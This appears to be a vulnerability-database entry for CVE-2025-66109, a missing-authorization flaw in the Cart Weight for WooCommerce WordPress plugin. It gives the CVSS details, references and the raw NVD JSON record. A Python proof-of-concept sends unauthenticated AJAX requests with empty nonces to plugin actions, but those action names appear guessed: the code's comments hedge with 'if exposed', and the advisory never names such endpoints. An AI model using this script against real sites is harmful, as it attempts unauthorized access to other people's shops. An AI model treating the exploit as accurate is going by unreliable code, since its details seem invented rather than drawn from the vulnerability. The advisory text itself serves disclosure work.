CVE-2025-66109

Description

Missing Authorization vulnerability in Octolize Shipping Plugins Cart Weight for WooCommerce woo-cart-weight allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cart Weight for WooCommerce: from n/a through <= 1.9.11.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cart Weight for WooCommerce <= 1.9.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-66109 PoC - Unauthorized Access to Woo Cart Weight Plugin Functions

target_url = "http://target-wordpress-site.com"
ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php"

# PoC 1: Check plugin version (if exposed via AJAX)
data_version = {
    "action": "woo_cart_weight_get_version",
    "security": ""  # Missing or bypassed nonce check
}

# PoC 2: Access weight calculation without authorization
data_weight = {
    "action": "woo_cart_weight_calculate",
    "product_id": 1,
    "quantity": 1
}

# PoC 3: Retrieve cart weight data without authentication
data_cart = {
    "action": "woo_cart_weight_get_cart_data",
    "_wpnonce": ""  # Nonce validation missing or weak
}

def exploit_ajax(action, data):
    """Send malicious AJAX request to vulnerable endpoint"""
    data["action"] = action
    try:
        response = requests.post(ajax_endpoint, data=data, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request successful for action: {action}")
            print(f"[+] Response: {response.text[:500]}")
            return response.json()
    except Exception as e:
        print(f"[-] Error: {e}")
    return None

# Execute PoC
print("[*] Testing CVE-2025-66109 - Missing Authorization in woo-cart-weight")
exploit_ajax("woo_cart_weight_get_version", data_version)
exploit_ajax("woo_cart_weight_calculate", data_weight)
exploit_ajax("woo_cart_weight_get_cart_data", data_cart)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66109
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66109
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66109/
[4] VulDB https://vuldb.com/cve/CVE-2025-66109
[5] https://patchstack.com/database/Wordpress/Plugin/woo-cart-weight/vulnerability/wordpress-cart-weight-for-woocommerce-plugin-1-9-11-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66109", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:52.470", "lastModified": "2026-04-27T18:16:36.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Octolize Shipping Plugins Cart Weight for WooCommerce woo-cart-weight allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cart Weight for WooCommerce: from n/a through <= 1.9.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woo-cart-weight/vulnerability/wordpress-cart-weight-for-woocommerce-plugin-1-9-11-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}